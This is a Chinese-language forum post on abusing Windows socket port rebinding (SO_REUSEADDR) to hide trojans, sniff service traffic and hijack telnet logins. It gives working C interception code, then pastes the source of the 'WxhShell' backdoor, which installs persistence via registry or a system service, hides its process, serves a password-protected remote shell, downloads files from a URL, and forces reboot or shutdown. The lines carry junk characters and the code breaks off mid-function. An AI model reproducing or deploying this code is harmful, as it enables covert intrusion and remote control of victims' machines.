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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5NN;Fw+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \/j,  
l#T %N@X  
  saddr.sin_family = AF_INET; psmDGSm,&  
Or?c21un  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )V>OND  
|hi,]D^Kc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fV Y I  
G8__6v~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SE'|||B  
i}C%8} %  
  这意味着什么?意味着可以进行如下的攻击: #o} /'  
WvJ:yUb2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ReM]I<WuY  
.'H$|"( v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }PBL  
$'5rS$]a/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;a@riPqx!  
>lqo73gM9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RV{%@1Pu  
8'zl\:@N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O/Hj-u6&A  
Ad-5Zn c5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ulW>8bW&  
H c>yZ:c;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @|t]9  
GXD<X_[  
  #include sUc[!S:/  
  #include R\7r!38  
  #include 1,OkuyXy!>  
  #include    EZ"i0u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .),9q z`  
  int main() " 62g!e}!c  
  { |XG&[TI- "  
  WORD wVersionRequested; -V~Fj~b#  
  DWORD ret; pL[3,.@WA  
  WSADATA wsaData; $G)HU6hF*  
  BOOL val; *My9r.F5o  
  SOCKADDR_IN saddr; d oEuKT  
  SOCKADDR_IN scaddr; r_Ou\|jU  
  int err; 4OJD_  
  SOCKET s; J!~kqNI  
  SOCKET sc; `^^t#sT   
  int caddsize; 2(~Zl\  
  HANDLE mt; ..nVViZ  
  DWORD tid;   wy:Gy9\  
  wVersionRequested = MAKEWORD( 2, 2 ); (2Lmu[  
  err = WSAStartup( wVersionRequested, &wsaData ); 3o>JJJ=]  
  if ( err != 0 ) { ^W@8KB  
  printf("error!WSAStartup failed!\n"); ;P juO  
  return -1; -eh .Tk  
  } WFk%nO/  
  saddr.sin_family = AF_INET; 2!W[ff@~7  
   ]ke9ipj]:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /8l@n dZf  
ST[TKL<]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S!$S'{f<  
  saddr.sin_port = htons(23); gXs9qY%=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u0=&_Q(=  
  { v%2Dz  
  printf("error!socket failed!\n"); j-**\.4a~  
  return -1; oidK_mU9q  
  } _e>N3fT  
  val = TRUE; @VIY=qh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Pn9;&`t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |1A0YjOD  
  { DHeZi3&i  
  printf("error!setsockopt failed!\n"); C%E~9_w  
  return -1; J| wk})?  
  } FF^h(Ea  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wM7 Iu86  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XMZ$AeF@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iQ2}*:Jc$  
RkF^V(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $*N(feAs  
  { Ev3'EA~`  
  ret=GetLastError(); C:^ :^y  
  printf("error!bind failed!\n"); V;CRs\aYf  
  return -1; "mE/t  (  
  } I;wxgWOP  
  listen(s,2); k}nGgd6XD  
  while(1) u$5.GmKm  
  { mM?,e7Xhs  
  caddsize = sizeof(scaddr); 3 i>NKS  
  //接受连接请求 eE .wnn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <=6F=u3PtU  
  if(sc!=INVALID_SOCKET) 7\yh(+kN  
  { W vu 1?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \zk>cQ  
  if(mt==NULL) F{Yr8(UHA  
  { T;{}bc&I  
  printf("Thread Creat Failed!\n"); L.-qTh^P  
  break; l4taD!WD/  
  } jP}Ry=V/  
  } +0*\q  
  CloseHandle(mt); os;9 4yd )  
  } )[ UYCx'  
  closesocket(s); toD!RE  
  WSACleanup(); ;3& wO~lW  
  return 0; %rrD+  
  }   %WR"qd&HSh  
  DWORD WINAPI ClientThread(LPVOID lpParam) bw/mF5AsW  
  { qHyOaK Md  
  SOCKET ss = (SOCKET)lpParam; a[j]fv*6  
  SOCKET sc; gn.)_  
  unsigned char buf[4096]; 9$9a BW  
  SOCKADDR_IN saddr; c'VCCXe  
  long num; $>_`.*I/  
  DWORD val; BT0;I  
  DWORD ret; vyWx{ @  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jz;{,F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FwB xag:u  
  saddr.sin_family = AF_INET; H l(W'>*oL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *w ^!\  
  saddr.sin_port = htons(23); 1/ j >|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (gvnIoDl0  
  { !UP B4I  
  printf("error!socket failed!\n"); WnOYU9 ;%  
  return -1; wi.E$R ckD  
  } Wql=PqF  
  val = 100; vNdX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7 u Q +]d  
  { go6; _  
  ret = GetLastError(); {hf_Xro&  
  return -1; m*)jnd XY  
  } JS\]|~Gd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,+OVRc  
  { wKfq'W{  
  ret = GetLastError(); L_:~{jV  
  return -1; &Y9%Y/Y  
  } %1GKN|7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r+#g  
  { ]Y->EME:W  
  printf("error!socket connect failed!\n"); :TKx>~`  
  closesocket(sc); Uh1UZ r  
  closesocket(ss); ';.y`{/  
  return -1; }c= Y<Cdh  
  } \0;w7tdo  
  while(1) /?Y4C)G  
  { w&es N$2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Mkt_pr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %M8Q6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6kR3[]:16v  
  num = recv(ss,buf,4096,0); Dh#5-Kf%  
  if(num>0)  4y5Q5)j  
  send(sc,buf,num,0); S_??G:i  
  else if(num==0) h?4EVOx+  
  break; %Y#W#G  
  num = recv(sc,buf,4096,0); q`z1ht nf  
  if(num>0) fU%Mz\t  
  send(ss,buf,num,0); 5=9Eb  
  else if(num==0) >OjK0jiPf  
  break; ]JmE(Y1(1  
  } I`g&>  
  closesocket(ss); Q=[ IO,f  
  closesocket(sc); HKOSS-`5  
  return 0 ; 2t?>0)*m  
  } wXdt\@Qr  
 =mcQe^M  
n >E1\($  
========================================================== *N{k#d/  
u!It' ;j  
下边附上一个代码,,WXhSHELL { Ngut  
pxyFM@Z](  
========================================================== Ho&f[T(  
S @!z'$&  
#include "stdafx.h" aDLlL?r3  
j2:9ahW  
#include <stdio.h> ?wIEXKI  
#include <string.h> U =g&c `  
#include <windows.h> n1R{[\ >1  
#include <winsock2.h> W_/$H_04+  
#include <winsvc.h> HuSE6an  
#include <urlmon.h> G2>s#Y5(,  
[V;u7Z\r-  
#pragma comment (lib, "Ws2_32.lib") g86^Z%c(k  
#pragma comment (lib, "urlmon.lib") k"/}9[6:U5  
g*4^HbVxt  
#define MAX_USER   100 // 最大客户端连接数 w; f LnEz_  
#define BUF_SOCK   200 // sock buffer z<yqQ[  
#define KEY_BUFF   255 // 输入 buffer {Ov{O,c 5  
{=3'H?$  
#define REBOOT     0   // 重启 iM8l,Os]<f  
#define SHUTDOWN   1   // 关机 'XYjo&w  
i{HzY[  
#define DEF_PORT   5000 // 监听端口 }C=+Tn  
~Hx>yn94e  
#define REG_LEN     16   // 注册表键长度 _4k zlD  
#define SVC_LEN     80   // NT服务名长度 ]yFO~4Nu  
NVf_#p"h  
// 从dll定义API SU~ljAF4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1dy"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pYUQSsqC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mD?={*7%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |F ~U  
zrC1/%T  
// wxhshell配置信息 kp)1s>c  
struct WSCFG { _.W;hf`  
  int ws_port;         // 监听端口 m^tf=O<  
  char ws_passstr[REG_LEN]; // 口令 ZNDjk  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,C'mE''x  
  char ws_regname[REG_LEN]; // 注册表键名 z<cPy)F]"  
  char ws_svcname[REG_LEN]; // 服务名 '|&?$g(\h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  @]V_%,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Orlf5 {P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cv`dK=n>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I]91{dq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y5mk*Q#q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W#x~x|(c  
,!^;<UR:  
}; '|yBz1uL  
M^/ZpKeT"  
// default Wxhshell configuration ^/$U(4  
struct WSCFG wscfg={DEF_PORT, `TDS 4Y  
    "xuhuanlingzhe", `;s#/`c|/  
    1, "3Ckc"G@  
    "Wxhshell", FaG&U  
    "Wxhshell", Yjx4H  
            "WxhShell Service", [ofZ1hB4  
    "Wrsky Windows CmdShell Service", bI)%g  
    "Please Input Your Password: ", )u=a+T  
  1, mr XmM<  
  "http://www.wrsky.com/wxhshell.exe", ?r.U5}PBI  
  "Wxhshell.exe" % hRH80W|  
    }; &?APY9\.  
9Om3<der  
// 消息定义模块 e1R<+`]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7)x 788Z6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !z+'mF?V+X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sN/8OLc  
char *msg_ws_ext="\n\rExit."; %?O$xQ.<  
char *msg_ws_end="\n\rQuit."; *HQ>tvUh  
char *msg_ws_boot="\n\rReboot..."; *XG.?%x*|  
char *msg_ws_poff="\n\rShutdown..."; kclZ+E  
char *msg_ws_down="\n\rSave to "; -EWC3,3  
AZbFj-^4  
char *msg_ws_err="\n\rErr!"; kSjvY&n%  
char *msg_ws_ok="\n\rOK!"; @`rC2-V  
mFuHZ)iQG  
char ExeFile[MAX_PATH]; \{}5VVw-S?  
int nUser = 0; "bvob G  
HANDLE handles[MAX_USER]; ?#/~ BZR!  
int OsIsNt; )JA^FQ5N  
zw%1 a 3!  
SERVICE_STATUS       serviceStatus; b}m@2DR'|m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -dH]_  
P,K^ oz}  
// 函数声明 b'(Hwc\ t  
int Install(void); Mdy4H[Odq  
int Uninstall(void); l\{r-F N  
int DownloadFile(char *sURL, SOCKET wsh); NPt3#k^bW  
int Boot(int flag); xPP]RoPR  
void HideProc(void); 9_J'P2e  
int GetOsVer(void); {[r}gS%  
int Wxhshell(SOCKET wsl); A=BT2j'l)  
void TalkWithClient(void *cs); 8:"s3xaO3  
int CmdShell(SOCKET sock); mZL0<vU@^  
int StartFromService(void); x8RiYi+  
int StartWxhshell(LPSTR lpCmdLine); *30T$_PiX|  
ePiZHqIsv/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %[k"A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CWS]821;  
Kq}-)  
// 数据结构和表定义 L?b;TjLe  
SERVICE_TABLE_ENTRY DispatchTable[] = GBGna3  
{ }n?D#Pk,  
{wscfg.ws_svcname, NTServiceMain}, q$jwH] .  
{NULL, NULL} Xrzpn&Y=#  
}; #++D|oE  
X="]q|Z  
// 自我安装 +pbP;zu  
int Install(void) GT-ONwVDq  
{ VN]"[  
  char svExeFile[MAX_PATH]; UMlvu?u2p1  
  HKEY key; dRXrI  
  strcpy(svExeFile,ExeFile); LCok4N$o  
D #C\| E:  
// 如果是win9x系统,修改注册表设为自启动 c) _u^Dh  
if(!OsIsNt) { 8l>YpS*S^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /O[ Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G3.\x_;k  
  RegCloseKey(key); k3&/Ei5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /=:F w}vt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HnY.=_G  
  RegCloseKey(key); e@g=wN"@  
  return 0; !+n'0{  
    } >,c'Z<TM  
  } OZ2faf  
} {R7m qzt  
else { 921s'"  
:qtg`zM/4  
// 如果是NT以上系统,安装为系统服务 >9X+\eg-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X9ec*x  
if (schSCManager!=0) R{{?wr6b$  
{ XZj3x',;  
  SC_HANDLE schService = CreateService [.nkNda5)v  
  ( (O'O #AD  
  schSCManager, zz-X5PFn  
  wscfg.ws_svcname, Kj#h9e  
  wscfg.ws_svcdisp, <|VV8r93  
  SERVICE_ALL_ACCESS, M#xol/)h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dX DuO  
  SERVICE_AUTO_START, Q VWVZ >l  
  SERVICE_ERROR_NORMAL, -z>m]YDH  
  svExeFile, SHqz &2u  
  NULL, Gc<^ b  
  NULL, L:Me  
  NULL, q `L}\}o  
  NULL, r9~IR  
  NULL z=qxZuFkDs  
  ); BXUd i&'O  
  if (schService!=0) "tmr s_~  
  { ?)e6:T(  
  CloseServiceHandle(schService); 'o1lJ?~kH  
  CloseServiceHandle(schSCManager); 4YCuO%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j/hm)*\io  
  strcat(svExeFile,wscfg.ws_svcname); 68nPz".X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X'usd$[ .  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uo7[T*<Q  
  RegCloseKey(key); "2`/mt Mon  
  return 0; L+0O=zJF  
    } 3IQ-2 X--  
  } 9oVprd >%@  
  CloseServiceHandle(schSCManager); j]6YLM@5$  
} gflO0$i  
} p I@!2c:}  
h BzZJ/jn  
return 1; ! Y'~?BI  
} 6' 9zpe@`  
(b+o$C  
// 自我卸载 D1cnf"y^  
int Uninstall(void) *.+N?%sAP)  
{ 6tup^Rlo;$  
  HKEY key; #x(3>}  
L EY k  
if(!OsIsNt) { k<%y+v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aTE;Gy,W  
  RegDeleteValue(key,wscfg.ws_regname); >;~ia3  
  RegCloseKey(key); rnXoA, c/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?cgb3^R'  
  RegDeleteValue(key,wscfg.ws_regname); 29f4[V X  
  RegCloseKey(key); /^,/o  
  return 0; cfPQcB>A  
  } 1#nY Z%  
} l!%V&HJV  
} Ol*|J  
else { =${ImMwj  
'.#3h$d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b%e7rY2  
if (schSCManager!=0) 'PdUSv|lH  
{ d 2z!i^:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -p f9Wk  
  if (schService!=0) x.>[A^  
  { 5h p)Z7  
  if(DeleteService(schService)!=0) { MDfC%2Q  
  CloseServiceHandle(schService); u{|^5%)  
  CloseServiceHandle(schSCManager); QVWUm!  
  return 0; +aRHMH  
  } X/23 /_~L`  
  CloseServiceHandle(schService); &5 R-bYGW  
  } I =nvL  
  CloseServiceHandle(schSCManager); QE`u~  
} > @q4Uez  
} PfJfa/#pA  
TU?$yNE  
return 1; {-L}YX"Bh  
} els71t -  
DcEGIaW  
// 从指定url下载文件 )4  'yI*  
int DownloadFile(char *sURL, SOCKET wsh) _6C,w`[[6  
{ T_~xDQ`v  
  HRESULT hr; CMHg]la  
char seps[]= "/"; =v~$&@  
char *token; @<44wMp  
char *file; Z^GXKOeq  
char myURL[MAX_PATH]; h($Jo  
char myFILE[MAX_PATH]; #v:A-u  
N~9zQ  
strcpy(myURL,sURL); %QX"oRMn0  
  token=strtok(myURL,seps); ?^{Ey[)'(  
  while(token!=NULL) | @p  
  { pe-%`1iC0>  
    file=token; XI;F=r}'  
  token=strtok(NULL,seps); RzqU`<//  
  } 6('xIE(R  
l7uEUMV  
GetCurrentDirectory(MAX_PATH,myFILE); yeN(_t2.  
strcat(myFILE, "\\"); n$3w=9EX *  
strcat(myFILE, file); 8PvO_Gz5  
  send(wsh,myFILE,strlen(myFILE),0); u1/q8'RW  
send(wsh,"...",3,0); 420cbD3a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4j~WrdI*  
  if(hr==S_OK) A|BN >?.t  
return 0; WmZ,c_  
else *5R91@xt  
return 1; c_syJ<  
N#7_)S[@0l  
} PsI{y&.  
wbh^ZMQ  
// 系统电源模块 YtY.,H;  
int Boot(int flag) W29GM -,K  
{ .jRv8x b  
  HANDLE hToken; j9 &0/ ~/  
  TOKEN_PRIVILEGES tkp; :c0 |w  
SNtOHTQ  
  if(OsIsNt) { T$s)aM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eEg> EI_U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :*)b<:4  
    tkp.PrivilegeCount = 1; k1;Jkq~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [N1[khY`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UQCond+K  
if(flag==REBOOT) { *AA78G|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fDZnC Fa  
  return 0; fh@/fd  
} u&$1XZ!es  
else { >2;KPV0H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G>W:3y  
  return 0; Q?-uJ1J  
} scR+F'M  
  } 6G>bZ+  
  else { Tg6nb7@P  
if(flag==REBOOT) { zjwo"6c>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x DX_s:A  
  return 0; LQ4F/[1}  
} 5C"A*Fg?;  
else { O]\eMM&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +yIO  
  return 0; xwu,<M v `  
} UJGmaE  
} a8r+G]Z  
StM)lVeF  
return 1; p0j-$*F  
} 3G-f+HN^E  
}t5pz[zl  
// win9x进程隐藏模块 'K3%@,O  
void HideProc(void) {m 5R=22^  
{ LX iis)1  
? p^':@=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KPs @v@5M  
  if ( hKernel != NULL ) )\,hc$<=m  
  { d,%@*v]S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KS(Ms*k;'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zj2tQ}N  
    FreeLibrary(hKernel); QNCG^ub  
  } _CXXgF[OCA  
btIh%OM  
return; C'CdVDm X  
} {$^Lb4O[V  
/R)(u@jk  
// 获取操作系统版本 ?[S{kMb2  
int GetOsVer(void) bL18G(5  
{ &?B\(?*  
  OSVERSIONINFO winfo; R3} Z"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aW#_"Y}v'  
  GetVersionEx(&winfo); h*?/[XY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VWcR@/3  
  return 1; 1F }mlyS  
  else n"Q fW~U  
  return 0; [:C!g#o  
} Xu&4|$wB+  
MA5BTq<&  
// 客户端句柄模块 ?3Dsz  
int Wxhshell(SOCKET wsl) Q5qQ%cu  
{ Sh RkL<  
  SOCKET wsh; ]; G$~[  
  struct sockaddr_in client; pM7xnL4  
  DWORD myID; e+>&? x  
&fWYQ'\>  
  while(nUser<MAX_USER) OL)M`eVQ'  
{  p(Bn!  
  int nSize=sizeof(client); |p{FSS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \.jT"Z~  
  if(wsh==INVALID_SOCKET) return 1; &li&P5!i  
,c'a+NQ_t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EL-1o0 2-  
if(handles[nUser]==0) IEJp!P,E  
  closesocket(wsh); IOi6' 1l  
else B|+tK  
  nUser++; S)d_A  
  } rJl'+Ae9N|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #y%?A;  
LXQ-J  
  return 0; !t 92_y3  
} bAqaf#}e  
iv62Fs'  
// 关闭 socket l<# *[TJ  
void CloseIt(SOCKET wsh) a uz2n  
{ 1u0 NG)*f  
closesocket(wsh); ,zY!EHpx  
nUser--; Zf%6U[{ T  
ExitThread(0); _K"X  
} Dx<CO1%z-  
:X;AmLf`2u  
// 客户端请求句柄 /IN/SZx  
void TalkWithClient(void *cs) sd~T  
{ =!%+ sem  
I7nZ9n|KU  
  SOCKET wsh=(SOCKET)cs; Pkw ` o #  
  char pwd[SVC_LEN]; tkGJ!aUt  
  char cmd[KEY_BUFF]; >O&:[CgEF  
char chr[1]; y}bE'Od  
int i,j; *T'>-nm]  
s8<)lO<SV.  
  while (nUser < MAX_USER) { A_WtmG_9  
&u/T,jy`  
if(wscfg.ws_passstr) { zWh[U'6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]o]*&[C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cCH2=v4hU  
  //ZeroMemory(pwd,KEY_BUFF); X%._:st  
      i=0; 9 6'{ES9D  
  while(i<SVC_LEN) { U3yIONlt  
/n SmGAO  
  // 设置超时 g np\z/'>  
  fd_set FdRead; 4X &\/X  
  struct timeval TimeOut; :3x|U,wC  
  FD_ZERO(&FdRead); Z{ A)  
  FD_SET(wsh,&FdRead); *OQr:e<}  
  TimeOut.tv_sec=8; G:2m)0bW  
  TimeOut.tv_usec=0; ;9hi2_luV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -v(.]`Wo&;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \VX~'pkrd/  
&m6x*i-5\f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 75V?K  
  pwd=chr[0]; >9.xFiq<  
  if(chr[0]==0xd || chr[0]==0xa) { HwH Wi  
  pwd=0; n8eR?'4  
  break; uI I:Y{G  
  } 0#rv.rJ{  
  i++; !be6}  
    } %?3\gFvBo  
$(6 .K-D  
  // 如果是非法用户,关闭 socket LA.xLU3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6%B5hv24v  
} lll]FJ1  
H0 YxPk)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kgvB80$4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N'nqVYTU  
-/.Xf<y58  
while(1) { ji[O?  
_/_1:ivY8  
  ZeroMemory(cmd,KEY_BUFF); ;$y(Tvd;  
lFNf/j^Z  
      // 自动支持客户端 telnet标准   0NB6S&lI^k  
  j=0; lr[a~ca\  
  while(j<KEY_BUFF) { w$cic  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oO4 Wwi  
  cmd[j]=chr[0]; l*|^mx^Q  
  if(chr[0]==0xa || chr[0]==0xd) { G w$sL&1m\  
  cmd[j]=0; i~dW)7  
  break; ''Y}Q"  
  } :A,V<Es}I"  
  j++; (c<Krc h  
    } RrkS!E[C  
 l+.E'   
  // 下载文件 D@i,dPz5Zl  
  if(strstr(cmd,"http://")) { [UVxtMJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $C UmRi{T  
  if(DownloadFile(cmd,wsh)) $Wy7z^ t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); an 3"y6.8  
  else @83h/Wcxd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uw@z1'D[i"  
  } n2Oi< )  
  else { HN\Zrb  
>o=3RB=Fh  
    switch(cmd[0]) { _be*B+?2t  
  W%f:+s}cI  
  // 帮助 4-4lh TE(  
  case '?': { C^S?W=1=w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )*I=>v.Jq  
    break; %6}S'yL  
  } mN^92@eebC  
  // 安装 {6v|d{V+e  
  case 'i': { /vl]Oa&U  
    if(Install()) !<!sB)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z^Nnt  
    else :5G3 uN+\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xQ62V11R6  
    break; 8{HeHU  
    } /LM*nN$%  
  // 卸载 "3{xa;c  
  case 'r': { ~pn9x;N%H  
    if(Uninstall()) ,|_ewye  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :".:Wd  
    else ObIi$uJX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TR,,=3n  
    break; J_s?e#s  
    } =z]&E 78Y  
  // 显示 wxhshell 所在路径 K,[g<7X5  
  case 'p': { <0T4MR7  
    char svExeFile[MAX_PATH]; (}fbs/8\p  
    strcpy(svExeFile,"\n\r"); )p"37Ct?  
      strcat(svExeFile,ExeFile); #D3e\(  
        send(wsh,svExeFile,strlen(svExeFile),0); Hw5\~!FX  
    break; 0}qij  
    } />XfK,c-  
  // 重启 Z&=K+P  
  case 'b': { BBw`8!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L`YnrDZK  
    if(Boot(REBOOT)) f)q\RJA)X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YH^_d3A;  
    else { pv TV*  
    closesocket(wsh); #lQbMuR  
    ExitThread(0); Tk9*@kqv  
    } Phl't~k  
    break; k0?4vA  
    } _Kx  /z  
  // 关机 S(5.y%"<  
  case 'd': { iYA06~ d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FpE83}@".w  
    if(Boot(SHUTDOWN)) $nQ; ++  
